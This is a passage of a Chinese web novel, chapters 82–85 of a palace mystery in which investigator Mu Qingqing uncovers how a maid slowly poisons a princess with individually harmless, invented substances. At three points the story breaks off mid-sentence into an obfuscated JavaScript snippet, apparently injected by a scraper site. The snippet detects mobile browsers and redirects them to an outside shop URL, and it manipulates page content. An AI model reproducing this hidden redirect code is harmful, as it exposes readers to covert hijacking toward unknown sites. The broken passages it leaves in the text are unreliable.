穆青青蹲下身,拨开枯藤,往洞里看了看。洞里黑黢黢的,什么也看不见。但她闻到一股淡淡的、有些刺鼻的气味,从洞里飘出来。 她缩回手,站起身,看着那个洞口,站了很久,然后把位置记在心里,转身回了甜水巷。 回到甜水巷,天已经快黑了。 阿玳蹲在墙头晒太阳,花花趴在它旁边打盹。见穆青青回来,阿玳懒洋洋地喵了一声。 穆青青从厨房拿了几块肉干,放在墙头,又回屋拿了一小碟清水,放在墙根。 阿玳跳下来,低头喝水,又叼了一块肉干,小口小口地吃起来。花花也醒了,凑过来叼了一块。 穆青青蹲在旁边,像是在逗猫,嘴里轻声念叨:“北城那边有个大宅子,听说种了好多花,白色的,小小的,闻着挺香。我今天在那边转了一圈,墙根底下有个洞,洞里飘出来的味儿怪怪的。” 阿玳耳朵动了动,埋头吃肉干,没理她。 穆青青又道:“那宅子连只鸟都没有,怪冷清的。” 花花舔了舔爪子,懒洋洋地喵了一声,跳回墙头继续打盹。阿玳抬起头,绿幽幽的眼睛盯着她看了一会儿,也跳上墙头,蜷成一团睡了。 穆青青没再说什么,起身回了屋。 第二天一早,阿玳不见了踪影。 穆青青出门时在墙头没看见它,只当它出去闲逛了,没太在意。傍晚回来,阿玳蹲在墙头,毛有些乱,像是跑了很远的路。见她回来,它跳下来,在她脚边转了一圈,喵了一声。 穆青青蹲下身,给它顺了顺毛,又从袖中摸出一块肉干。阿玳叼着肉干,吃得心满意足,吃完舔舔爪子,跳回墙头,蜷成一团睡了。 穆青青看着它,没说什么。 又过了一天,赵夫人那边先传来了消息。 82. 王府疑案(3) “查到了。”赵夫人把穆青青请到赵府,屏退左右,压低声音道,“春杏她娘去年秋天的时候据说生了个小儿子,但是很快就说那个儿子没养活,夭折了,我觉得不对劲儿,就继续查,居然查到同一时间她的一个远房表姐家多了个男婴。” 穆青青一愣:“您的意思是……那个男婴就是春杏娘生的那个小儿子?她把自己小儿子送人了?” 赵夫人点头:“那家姓刘,在城外开了一间杂货铺,家境殷实,只是多年无子。两家本是八竿子打不着的亲戚,不知怎的走动起来,巧合的是去年秋天,春杏娘没了一个儿子,而刘家就多了一个男婴。” 穆青青问:“若是真的话,他们为何要如此安排?” “刘家是自由身。” 赵夫人对此倒是看得明白:“那孩子去了刘家,以后就可以在城里的私塾读书,长大后再考取功名,如果这条路走通了,春杏他们再自赎其身、认亲,呵呵,他们一家就彻底改头换面了。我听说,刘家那铺子也翻新了,还雇了两个伙计。街坊邻居都说是那孩子命好,八字旺他刘家,刚到刘家,刘家就发起来了。” 穆青青沉吟道:“您觉得这事是春杏她娘自己想出来的,还是有人教他们的?” 赵夫人道:“我让人细细打听了。春杏她娘去年秋天突然得了笔银子,说是春杏在王府得了赏赐捎回来的。我猜想她是有了这笔钱才敢谋划这事的,否则那刘家凭什么心甘情愿配合他们?至于那银子到底是不是赏赐……”她顿了顿,“我问过婉娘身边的嬷嬷,王妃去年秋天并没有赏过春杏银子。” 穆青青点点头。时间对上了,去年秋天,正是瑾王妃开始生病的时候。 “那刘家呢?铺子翻新的钱他们怎么对外解释的?” 赵夫人道:“刘家对外说是攒了好几年的积蓄,可街坊都说,刘家那铺子往年生意平平,哪来那么多积蓄?我让人查了查,刘家去年秋天从钱庄贷了一笔银子,数目不小。可刘家一个开杂货铺的,哪来的抵押?” 穆青青心里一动:“谁给他担保的?” 赵夫人压低声音:“一个姓张的中年男人,据说是瑾王府的人,具体的没打听出来。” 穆青青心里一震。瑾王府的人专门去给一个不认识的小杂货铺老板做担保,这中间的弯弯绕绕……也太不正常了。 “赵夫人,”穆青青道,“能不能让人盯住春杏,看她平时在王府跟谁来往密切?” 赵夫人应了。 与此同时,钱玉郎那边也有了消息。 “我找王府旁边的几个小贩打听了,”钱玉郎道,“他们说,王府后院这两年确实有些怪异。去年春天,后院厨房旁边养的好几条狗突然没了,王府的人说是叫得太吵了,送去郊外的庄子了。” 穆青青问:“还有呢?” “还有,”钱玉郎压低声音,“有个在王府后巷摆摊的老头说,他去年夏天见过一件怪事:王府后院墙根底下,以前有很多野猫野狗、麻雀之类的来觅食,可那年夏天这些小动物全都见不着了。” 穆青青心里一沉:“见不着了?是死了吗” “老头说不知道,反正他没看到有尸体,可能尸体被其他饿急了的动物叼走吃掉了,也可能都跑别的地方去了。” “那老头还说什么了?” 钱玉郎想了想:“他说那段时间王府后院的花儿开了,飘出来的香味儿特别浓,闻着有点闷人,熏得人头晕。” 穆青青追问:“那之后呢?还有这种事吗?” “没了。”钱玉郎道,“老头说那之后就再没见着猫啊狗啊,鸟啊之类的了,后院也彻底安静了,连声鸟叫都听不见。他说那院子邪门,现在连路过都绕着走。” 穆青青谢过钱玉郎,心里那个念头越来越清晰。 又过了一天,寇晟那边也传来了消息。 他调来了前瑾王妃的病例,同时还请余肖红一起看了。 余肖红翻着那些泛黄的病例,眉头越皱越紧。 “症状确实和现在这位王妃一模一样。”她道,“先是失眠,然后是心慌气短,再后来浑身无力,最后衰竭而亡。病程拖了三年多。” 穆青青问:“是中毒吗?” 余肖红摇头:“太医院只记录了症状,没写毒理分析,这两次的诊断都不是中毒。光从这些描述,我只能说看着像是慢性中毒,但具体是不是中毒拿不准。除非能拿到王妃日常接触的东西,比如饮食、衣物、熏香、花草等,一样一样排查。” 穆青青想起钱玉郎说的那些事,心里已经有了方向。 余肖红又道:“不过,前王妃生病之前,瑾王府曾经翻修过后院,从江南运来了一批花木。这个时间点很巧。” 穆青青翻着病例,果然看到一条记录:永昌三年春,瑾王府翻修后院,自江南购花木若干,植于各院。 “这批花木,是从哪儿运来的?”她问。 寇晟道:“江南。具体哪个花圃,查不到了,时间太久。” 余肖红沉吟道:“有些南方的花木,到了北方会水土不服,养不活是常事。”她顿了顿,“但若是有毒的花……那可就多了。” 穆青青心里一动:“有一种花,花小,白色簇生,香气甜腻,人闻久了会觉得气闷头晕。你听说过这种花吗?” 余肖红想了许久,才道:“我在一本旧书上见过一种花,叫‘醉颜红’,花开白色,香气浓郁,闻久了会让人头晕乏力,若长期接触,会慢慢损伤五脏。此花产于南疆,中原极少见。若有人将它混在花木里运进来,寻常人根本认不出。这种花和你说的那种有些类似,它的花期很长,能从春开到秋。最特别的是,它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364060|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的花粉有毒,能毒死靠近的小虫小鸟。所以这种花旁边,往往没有蜂蝶,连蚂蚁都不去。” 穆青青想起钱玉郎说的那些不见了踪影的猫和麻雀,心里已经明白了七八分。 “余姐姐,”她道,“如果能想办法弄到这种花的样本,你能帮忙验一验吗?” 余肖红点头:“若能拿到样本,我有七成把握验出来。但王府我们进不去……” 寇晟道:“我来想办法。” 当天傍晚,穆青青回到甜水巷,在院子里坐了很久。 阿玳蹲在墙头,尾巴一摇一摇,时不时看她一眼。花花趴在旁边打盹,檐下的麻雀叽叽喳喳吵个不停。 穆青青起身去厨房拿了几块肉干,放在墙头,又回屋拿了一小碟清水,放在墙根。 阿玳跳下来,低头喝水,又叼了一块肉干,小口小口地吃着。花花也醒了,凑过来叼了一块。 穆青青蹲在旁边,看着它们吃完,轻声道:“北城那个大宅子,你们以后别去了。” 阿玳耳朵动了动,抬起头看她。 穆青青又道:“那边可能有毒。” 阿玳舔舔爪子,跳回墙头,蜷成一团睡了。穆青青看着它的背影,没再说什么。 又过了两天,赵夫人那边传来消息。 “春杏最近跟张侧妃身边的一个嬷嬷走得很近。”赵夫人道,“那嬷嬷姓冯,是张侧妃的陪嫁,隔三差五就去王妃院子里‘请安’,每次都拉着春杏说半天话。王府的人都知道这事,但没人觉得奇怪,侧妃给王妃请安,嬷嬷和丫鬟说几句话,都是常事。” 穆青青问:“那个冯嬷嬷,每次去王妃院子,都做什么?” 赵夫人道:“据王妃身边另一个丫鬟说,冯嬷嬷每次去,都带些点心果子,说是张侧妃亲手做的,给王妃尝尝。王妃身子不好,吃不下,多半赏给下人了。春杏每次都接过去,说替王妃收着。” 穆青青心里一动:“那些点心,王妃吃了没有?” 赵夫人摇头:“王妃胃口不好,点心都是赏人。倒是春杏,每次收了点心,都自己收起来,从没见过她分给别人。” 穆青青沉吟片刻:“赵夫人,能不能想办法弄到一块那样的点心?” 赵夫人点头:“我让婉娘身边的嬷嬷留意着。” 当天夜里,穆青青躺在床上,把这几天的线索在脑子里过了一遍。 春杏家突然有钱,把儿子送给了刘家。刘家突然发迹,铺子翻新,还从钱庄贷了一大笔银子,担保人是瑾王府的人。 春杏在王府里跟张侧妃的嬷嬷走得很近,收了张侧妃送的点心,但又从不给人吃。 后院的花有问题,人闻久了会头晕气闷,若是有人吃了呢? 如果张侧妃在花里动了手脚,那她院子里也种了那种花,为什么她没事? 83. 王府疑案(4) 第二天一早,穆青青出门时,阿玳正蹲在墙头舔爪子。她看了它一眼,没说什么,径自往六扇门去了。 傍晚回来,阿玳不在墙头。她没在意,做饭吃饭,在灯下构思她的下一个话本。 只不过心绪有些乱,谢谢画画了半天,也没理出个头绪来。 写到一半,窗外传来窸窣声响。 穆青青推开窗,阿玳正蹲在窗台上,毛有些乱,像是跑了很远的路。 它嘴里还叼着个什么东西,见穆青青出现了,便把东西往窗台上一方,然后喵了一声,跳下窗台跑了。 穆青青低头一看,是一小截枯枝,上面还挂着几朵干枯的花。花很小,白色的,已经发黄发脆,但形状还在。 她拈起来,凑近闻了闻,一股淡淡的、有些刺鼻的气味,和那天在王府后巷洞口闻到的一模一样。 穆青青把枯枝放在桌上,对着灯细看。花簇生,花瓣细小,和她从余肖红那里听来的“醉颜红”的描述很像。 她把枯枝收好,第二天带去六扇门给了余肖红。 余肖红接过,凑近闻了闻,脸色微变:“这气味……很像醉颜红。我需要时间仔细验验。” 穆青青点头:“不急。” 中午的时候,钱玉郎那边又传来消息。 “那个摆摊的老头又想起一件事,”钱玉郎道,“他说去年春天他亲眼看见王府里的一个花匠,大半夜的时候在后院墙根底下烧什么东西。鬼鬼祟祟的。他之前以为是临近清明了,他在偷烧烧纸钱,没敢多看。现在想起来却很可疑,烧纸钱为何要在王府后院墙外烧?” 穆青青问:“那个花匠还在王府吗?” “不知道。”钱玉郎道,“老头说在那之后他就再也没见过那个花匠了。” 穆青青沉吟片刻,心里怀疑摆摊老头看见的那人会不会根本就不是什么花匠呢? 当天下午,赵夫人那边也传来了消息。 “点心拿到了。” 赵夫人的贴身丫鬟,就是那个叫翠喜的,特意过来了六扇门一趟,把一个小包袱递给穆青青。 “昨儿个冯嬷嬷又送了一盒点心过来,说是张侧妃新研究的方子,给王妃尝尝。王妃照样没吃,让李嬷嬷赏给了春杏,李嬷嬷刻意耽搁了一会儿,趁机把匣子连着里面的点心全都换了。” 李嬷嬷是赵夫人婆婆特意安插在瑾王妃陪嫁奴仆中的一个中年妇人,平日里并不受王妃器重,但她是绝对忠诚于赵家的,这次为了调查瑾王妃的事,李嬷嬷也只能从暗处转到明处来了。 况且王府里往来送礼的木匣子都是定制款式,春杏又没有提前看过匣子里装的什么样的点心,李嬷嬷偷换点心匣子的事未必就会暴露。 穆青青接过包袱小心收好。 “翠喜,”她道,“你帮我给赵夫人带一句话,就说张侧妃院子里有个花匠,据说去年春天的时候好像辞了工回老家了。能不能查查到底有没有这么一个花匠?是什么的底细?” 翠喜显得有些紧张,又有些兴奋,她先左右望了望,然后才连连点头:“好的穆姑娘,我一定帮您把话带到。。” 穆青青把点心送到余肖红那里。余肖红验了一天结果才出来。 “点心没问题。”余肖红道,“就是普通的桂花糕,没有毒。” 穆青青皱起眉头。 如果点心没问题,那春杏把点心收起来不给别人吃是为什么? 余肖红又道:“不过,我在点心匣子的内壁上验出了一种东西。” “什么?” “一种很淡的药渍。不是毒药,是一种安神的药粉,和王妃平时吃的药方子里的一味药很像。如果这安神药粉最终混进了王妃的药中也勉强能解释得通,毕竟王妃病痛难忍,睡眠不好,吃点沾了安神粉的点心也不是太离谱。可偏偏这点心王妃没吃,赏给了春杏。” 穆青青心里一动:“你的意思是,这点心匣子上的安神药粉,和王妃药方子里的药是同一种?” 余肖红点头:“对,不过如果王妃真的吃了这些药粉,再加上她每天喝的药,药量就超量了。安神的药吃多了会让人昏昏沉沉、浑身无力,和王妃现在的症状很几分相似。而且这东西不是毒药,就算验出来了,也可以说是不小心弄上去的,而且只会对王妃安神有用,没有害的。” 穆青青沉默了很久。 “所以张侧妃并没有给王妃下毒?她可能只是不想要王妃好起来?” 余肖红点点头,又摇摇头说:“只从这点心匣子来看,她确实没下毒,但也仅指这个点心匣子罢了。” 话中的言外之意穆青青听懂了。 如果王妃房间里还有其他的药粉或是别的什么东西,几样混合起来,产生的效果就不得而知了。 赵夫人那边很快又传来了消息:瑾王府去年春天并没有花匠辞工回乡。府里管花木的师傅姓方,在王府待了十几年,至今还在。倒是张侧妃身边那位姓冯的嬷嬷,她有个侄儿去年春天来王府拜访过,还在府里住了小半个月。 “那侄儿叫什么?”穆青青问。 赵夫人摇头:“只打听到姓孙,具体名字不知道。据说那人在府上住着的时候,常去后院转悠,看那些花木。后来不知怎的惹怒了王爷,被瑾王爷亲自下令赶了出去,还说不准他再踏入王府一步。至于到底什么事惹怒了王爷,没人知道。” 穆青青沉吟片刻:“那个冯嬷嬷就是跟春杏来往密切的那个吗?” “是的,就是她。她隔三差五就去王妃院子里‘请安’,每次都带些点心果子。”赵夫人顿了顿,“而且我打听到,冯嬷嬷的侄儿被赶走之后,张侧妃有一阵子被王爷禁足了,说是‘管教不严’。但也就禁了十来天,就又放出来了。” 穆青青心里隐隐觉得不对。 一个嬷嬷的侄儿,在府上住几天,怎么就惹得王爷亲自赶人?还连带着把张侧妃也禁足了? “赵夫人,”她斟酌着措辞,“冯嬷嬷那个侄儿,能不能再深挖一下?他是做什么的?从哪里来?现在在哪儿?” 赵夫人犹豫了一下:“我试试。不过跟瑾王爷沾边的事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374521|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再深挖恐怕……” 穆青青听出了她的顾虑。 她想起寇晟说过的话,瑾王府是亲王府邸,不比寻常人家,凡事多留个心眼。 “赵夫人,”她道,“那个侄儿的事先放一放。我想请您帮另一个忙。” “什么忙?” “刘家担保人的事。”穆青青道,“替刘家做担保的那个人,据说姓张,是瑾王府的人。能不能从钱庄那边查查,那人到底是谁?钱庄的伙计、掌柜,总有人见过他的模样。若能找到画像,或许能查出他的底细。” 赵夫人点头:“这个容易。钱庄那边我有熟人,让他们偷偷打听打听。” 穆青青又道:“还有一件事。李嬷嬷在王妃身边,能不能想办法把春杏经手的东西一样一样换出来?王妃每天喝的粥、吃的补品、用的手帕、换的新鲜花果,只要能拿到,都拿一点出来。不必多,一小份就行。” 赵夫人闻言,毫不迟疑地点了点头:“这事交给我来办。李嬷嬷手脚利落,这点事不难。” 穆青青道了谢,又叮嘱了几句务必小心的话,赵夫人便匆匆去了。 接下来的几日,李嬷嬷果然陆续送出来一些东西,只是每一样都像是来之不易。 先是送出来一小包王妃梳头时落下的发丝。 余肖红非常感兴趣地验了几次,没有收获,然后她就把那头发丝烧了,烧后剩下的粉末她又想尽办法验了好几次,把那点发灰都折腾完了,才若有所思地摇摇头说线索不够。 又过了两日,李嬷嬷托人带出来半碗喝剩下的粥。用一个小瓷盅装着,外面裹了好几层布。翠喜说,李嬷嬷是趁着春杏去如厕的功夫,偷偷从王妃床头倒了一点点出来,不敢多拿,怕被春杏发现。余肖红验了半天,粥里只有寻常的米香和几味补气的药材,并无异常。 再后来,送出来的是半杯凉了补品。据说这是王妃每天喝的补气血的滋补品,春杏亲手炖煮的。 余肖红验了又验,补品里都是寻常东西。 甚至连王妃用的脂粉,李嬷嬷都想法子刮了一点点送出来。 翠喜说,王妃病后脸色不好,怕王爷来看她时显得太憔悴,便让春杏每日给她薄薄涂一层脂粉提气色。 那脂粉是王妃从娘家带来的,春杏每日用指尖挑一点,细细涂在王妃脸上。余肖红验了,脂粉是上好的珍珠粉调的,也没有问题。 穆青青看着桌上那一堆验过的东西,心里越来越沉。 粥、茶、点心、脂粉、头发丝,春杏经手的每一样东西,李嬷嬷都想方设法偷换出来,可余肖红一一验过,暂时都没有发现问题。 “难道是我猜错了?”穆青青皱眉道,“春杏经手的这些东西都没毒,那毒是从哪儿来的?” 余肖红这次却异常坚定地支持穆青青说:“不会错的。王妃的症状太像慢性中毒了,只是下毒的人太狡猾,知道什么东西能碰,什么东西不能碰。春杏经手的东西,未必每一样都有毒。” 又过了几日,李嬷嬷终于送来了不一样的东西,小包花瓣。 84. 王府疑案(5) 翠喜把那包花瓣递给穆青青,压低声音道:“李嬷嬷说,这是王妃屋里每天换的鲜花。春杏说王妃屋里得多点鲜花鲜果,王妃看着闻着心情好,对她的病情有益。花是府里后花园种的,每天清早由花匠送来,春杏负责插瓶摆放,果子则是从外面采买回来的,一段时间才会换个品种。李嬷嬷也是费了好大功夫才趁着春杏离开的间隙,偷偷从花瓶里掐了几朵下来。” 穆青青接过那包花瓣,打开一看,是几朵半开的玉兰花,花瓣还带着水润,显然刚掐下来不久。她凑近闻了闻,花香清雅,并无异样。 余肖红接过花瓣,对着光看了半天,又用镊子拈起一片,放在鼻尖闻了闻。她的眉头渐渐皱了起来,没有急着下结论,而是把花瓣放在瓷碟里,用小刀轻轻刮下花粉,又滴了几滴水,用细针拨弄着。 过了很久,她才抬起头,面色凝重。 “这花不对劲。” 穆青青心里一震:“有毒?” 余肖红摇摇头,她指着碟子里那层细细的粉末:“花瓣上的这种粉末叫乌丸苏粉,自身是无毒无味的,常被匠人们用做助燃药剂,这太不符合常理了。” 穆青青把花瓣收好,心里那个念头越来越清晰,她回想起之前和翠喜见面时的对话。 “李嬷嬷那边还盯着春杏吗?” 翠喜点头:“盯着呢。李嬷嬷说,她最近才发现春杏的手帕不对劲儿。” 穆青青心里一动:“手帕?” 翠喜道:“李嬷嬷说,春杏每次伺候王妃喝药的时候,都用同一块手帕给王妃擦手擦脸。以前没在意,最近因为要盯着她才发现那手帕有问题,她似乎从不换其他的手帕,一直用同一块。” “那手帕,”穆青青道,“能想办法弄出来吗?” 翠喜面露难色:“那是春杏贴身的东西,不好换。李嬷嬷说,她试着找过机会,可春杏把手帕看得很紧,从不离身。” 穆青青沉吟片刻:“不急。让她盯着就行,等有机会再说。” 翠喜应了,然后就匆匆离去了。 穆青青站在窗前,看着外面的天色渐渐暗下去。 花、点心匣子、手帕…… 她隐隐觉得,这案子比她想象的还要深。 又过了些日子,李嬷嬷终于等到了机会,把春杏那块从不离身的手帕偷了出来。 果然,余肖红在那块手帕上验出了“九节菖蒲膏”。 九节菖蒲膏,一种比较少见的治疗健忘、神志不清、癫痫等症状的药膏。 余肖红冷笑道:“下毒之人不但聪明,而且还颇通药理,九节菖蒲膏、乌丸苏粉和安神粉,这三种单独无害的东西混在一起,居然能让人的五脏六腑日渐衰竭致死,呵,确实没人下毒,可这手段比下毒还要狠辣。” 穆青青想起前王妃的事:“前王妃也是这样死的?” 余肖红点头:“极有可能。前王妃的病例我看过,症状一模一样。” “那为什么前王妃没查出来?”穆青青问。 余肖红叹了口气:“也不怪太医院的那帮人,他们没有女医官,给王妃看病也不可能长期待在一起观察辩证,没查出中毒,就只能看症状开药,哪知道这其中的弯弯绕绕。” 穆青青听完,脊背一阵发凉。 这一耽搁,外面天色已经全黑了,穆青青他们刚准备回家,赵夫人又将一副画像送到了六扇门。 烛火下,那幅画像摊开在寇晟的案头。 画上是个中年男子,圆脸,短须,穿着体面,看着像个殷实的商人。钱庄的掌柜指认说,就是此人替刘家做的担保,自称姓张,经查正是瑾王府的管事。 “张德贵。”赵统领翻出名册,“瑾王府外院管事,在王府当差十五年了。此人原是瑾王爷的伴当,跟着王爷一起长大的,心腹中的心腹。” 穆青青站在一旁,目光落在那幅画像上。 一个王爷的心腹管事,替一个八竿子打不着的杂货铺老板做担保。 而那个杂货铺,收养了春杏家送出去的儿子。 春杏,是王妃的贴身丫鬟。 这条线,从春杏家到刘家,从刘家到担保人,从担保人到王府管事,从管事到瑾王爷…… 穆青青没有说下去。 寇晟也沉默着。 两个人都想到了同一个问题:如果下毒的人是张侧妃,那王爷的心腹管事为何要替春杏家办事?是张侧妃的手伸得太长,连王爷身边的人都能收买?还是…… “先别急着下结论。”寇晟终于开口,声音很平,“继续查。把每条线都查清楚,不要预设答案。” 穆青青点头。 她知道寇晟的意思。 六扇门办案,最忌先入为主。哪怕所有的线索都指向同一个方向,也要等证据确凿才能定论。更何况,这事牵扯到王府,牵扯到皇亲国戚,一步走错,就是万劫不复。 “那个烧东西的人有消息了吗?”她问。 寇晟摇头:“钱玉郎那边还在找。那个摆摊的老头只记得那人的大概模样,说是个瘦高个儿,其他都很普通,没什么特殊之处。不过钱玉郎不死心,学着之前找王府管事的方法,让人照着老人的口述画了张像,拿着在王府附近转悠了好几天。” 穆青青想了想,道:“我明天去找钱玉郎问问。” 第二日一早,穆青青去了城东的粥棚。 大牙老远就看见她,尾巴摇得像风车,一溜烟跑过来。 【追风:“汪!香香的人!今天有肉骨头吗?”】 穆青青从袖子里摸出两块肉干扔给它,大牙一口叼住,嚼得嘎嘣响,尾巴摇得更欢了。 钱玉郎从粥棚里探出头,见是她,笑着招手:“穆捕头!来喝粥!今天加了红枣,可甜了!” 穆青青走过去,接过一碗粥,也不客气,站在棚子边上喝起来。粥熬得不稠,但米香里带着红枣的甜味,确实好喝。 “那人有消息了?”她压低声音问。 钱玉郎四下看了看,凑近道:“正想找你呢。有消息了,不过不是好消息。” 穆青青心里一沉:“怎么了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17383202|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “本来没找到人我都打算放弃了的,可就是那么巧,那摆摊的老头儿昨天出门办事,在下面一个镇上碰见一个人,瞧着面熟,仔细一看,居然就是那个在王府后院墙根烧东西的人。” 钱玉郎的声音压得更低,“老头认出他之后,没敢声张,悄悄跟了他一段,看他进了镇子上一家小客栈。老头回来就找了我,我连夜带人赶过去,结果……” “结果什么?” “人跑了。”钱玉郎有些懊恼,“那家伙精得很,可能察觉到有人跟踪,当天夜里就退了房,不知去向。不过我们在客栈里翻到了一些东西。我正准备等会儿就去六扇门上交呢。你来了更好,我就直接交给你了。” 他从怀里掏出一个油纸包,递给穆青青。 穆青青接过来打开,里面是一张没烧尽的纸上包着小撮纸片,纸片已经碎得不成样子,上面勉强还能看得见几个被火燎得焦黑的字迹,穆青青只能勉强认出几个字:“……三分……研末……冲服……” 而包纸片的纸边缘也全烧焦了,但中间有字的地方还能清晰地看出写着一个地址。 “这是从那人的房间里找到的。”钱玉郎道,“客栈伙计说,那人住了两天,每天关在房里不知干什么,走的时候火盆里全是灰。幸亏伙计偷懒没及时倒掉,我一去就把这个翻找出来了。” 钱玉郎说完还一脸渴望地看着穆青青,等着被她夸奖一番。 可惜穆青青此刻的心思全都在案子上,她根本没注意到钱玉郎脸上的表情,只把那半张纸边小心地收好,又问:“那人长什么样?伙计应该看清了吧?” 钱玉郎点头:“看清了。瘦高个儿,脸瘦削带着苦相,说话就是本地口音。年纪也不大,看着就二十出头,穿着普通,伙计说他好像在向人打听哪里有需要短工的。” 穆青青把这些特征记在心里。 回到六扇门,她把那些碎纸片交给了余肖红。 余肖红接过去,对着光看了半天,又用小刀轻轻刮下一点纸灰,放在瓷碟里,滴上水,用细针拨弄着。过了很久,她抬起头,面色凝重。 “这上面写的是药方。”她道,“虽然烧得只剩这几个字,但从纸张和墨迹来看,是上好的宣纸和松烟墨,不是寻常人家用的。这药方……我怀疑和‘九节菖蒲膏’有关。” “九节菖蒲膏?”穆青青心里一动。 余肖红点头:“‘九节菖蒲膏’需要九味药材配制,其中几味用量极讲究,多了会伤身,少了没效果。这张方子上虽然只有几个字,但‘三分’这个用量,正好对应其中一味药材。我怀疑这是一张完整的药方。” 穆青青沉默了一会儿,问:“余姐姐,如果拿到完整的药方,你能复原吗?” 余肖红想了想,道:“若给我时间,有六七成把握。但需要更多的线索。比如那几味药的配比,熬制的方法,这些都是关键。” 穆青青把那撮纸灰留给她,自己带着写着地址的那张纸去找了寇晟。 “大人,那个烧东西的人有线索了。” 85. 王府疑案(6) 穆青青把钱玉郎的话复述了一遍。 寇晟听完,沉吟道:“瘦高个儿,脸瘦削带着苦相,说话就是本地口音。年纪也不大,二十出头,穿着普通,最近在到处找短工,特征已经很明显了,我等会让人去查。还有那个地址……” “正想跟您说这个。” 穆青青表情严肃了起来:“那地址不一般……” 她顿了顿,声音压得更低:“城南,净业寺后山有处避暑山庄,叫‘清凉别院’。” 寇晟的脸色一下子就变了。 净业寺,是大曜王朝的皇家寺院,后山的避暑山庄从不对外开放,只有皇室宗亲才能使用。瑾王爷他们乃至当今圣上,每年夏天都会去那里住上一阵,说是避暑,实则是与三五好友聚会论道,这是京城人人皆知的事。 寇晟沉默了很久。 穆青青又道:“大人,不管是哪种情况,那个地方都值得查一查。” 寇晟站起身,走到窗边,背对着她。 “净业寺后山,是皇家寺庙的地盘。”他的声音很轻,“没有旨意,六扇门进不去。” 穆青青没有说话。 她知道这话的意思。皇家寺庙,不是他们能碰的地方。哪怕知道那里可能藏着天大的秘密,没有皇帝的许可,谁也不敢踏进一步。 穆青青第一次感受到封建王朝王权至上的可怕了。 “大人,”她斟酌着措辞,“那地方暂时动不了,但我们可以从别的地方入手。” 寇晟转过身:“你说。” “春杏。”穆青青道,“所有的线索都指向她。她是王妃的贴身丫鬟,经手王妃的每一碗药、每一口饭、每一杯茶。手帕上的药膏,花上的粉末,点心匣子里的安神粉,这些东西都要经过她的手。她是最好突破的环节。” 寇晟沉吟片刻后点头道:“春杏的身契在赵家手里,赵夫人那边……” “赵夫人已经准备好了。”穆青青道,“只等我们开口。” 寇晟看着她,忽然问:“你觉得,这事和王爷有没有关系?” 穆青青沉默了一会儿。 “我不知道。”她如实道,“所有的线索都指向张侧妃,可王爷的管事替春杏家做担保,这事太巧了。也许王爷不知情,是管事被收买了。也许……”她没有说下去。 寇晟点点头,没有再追问。 “先查春杏。”他道,“查清楚了,再往下走。” 当天下午,赵夫人亲自来了六扇门。 她带了一个木匣子,里面装着春杏一家四口的卖身契。 “都在这里了。”赵夫人把匣子推到穆青青面前,“她爹、她娘、她那快要成亲的大弟弟,还有她自己的。他们一家的命,都在这几张纸上。” 穆青青打开匣子,取出那几张泛黄的契约,一张一张看过去。纸已发脆,字迹也有些模糊,但上面“赵府”、“家生奴”、“永世不得脱籍”等字样,清清楚楚。 “赵夫人,”她道,“这事可能要委屈您唱个黑脸。” 赵夫人点头:“我明白。你想让我怎么做?” 穆青青附耳低语了几句。 赵夫人听完,沉吟片刻,道:“这倒不难。只是春杏那丫头,我见过几回,看着是个本分的。若真是被人利用了……” 她叹了口气,没有说下去。 穆青青道:“若她是被逼的,我们查清楚之后,自会给她一条活路。” “那倒不必,此事若真与春杏有关,哼,她和她全家能留个全尸就算是开恩了。” 赵夫人说完就起身告辞了。 三日后,赵夫人身边的翠喜一大早就来了甜水巷。 看样子她是特意赶在穆青青去六扇门上工前来的。 “穆姑娘,”她压低声音道,“夫人让我告诉您,事成了。” 穆青青把她让进屋里,倒了杯茶。 翠喜坐下来,絮絮叨叨说了起来。 原来,赵夫人以“省亲”为名,把春杏她娘从庄子上叫回了赵府。春杏她娘不知是计,还以为是主家恩典,欢天喜地地来了。一进门,赵夫人就把那几张卖身契拍在桌上,问她刘家那孩子是怎么回事,那笔银子是怎么回事,替刘家做担保的“张爷”又是谁。 春杏她娘当场就瘫了。 她以为事情败露,主家要发卖他们一家,哭得死去活来,把知道的全说了。 “她说,是春杏去年秋天托人捎信回来,说王妃身边不太平,让她想法子把弟弟送出去,免得日后受牵连。”翠喜的声音压得更低了,“春杏她娘当时不明白什么叫‘不太平’,春杏也不肯明说,只说让她照办就是,说是这样做能让幼弟以后摆脱家生子的身份去读书,运气好还能当官。银子是春杏捎回来的,说是王妃赏的。至于那个担保的‘张爷’,春杏她娘没见过,只听说是个有头脸的人物,是春杏在王府里认识的。” 穆青青问:“刘家那孩子呢?” 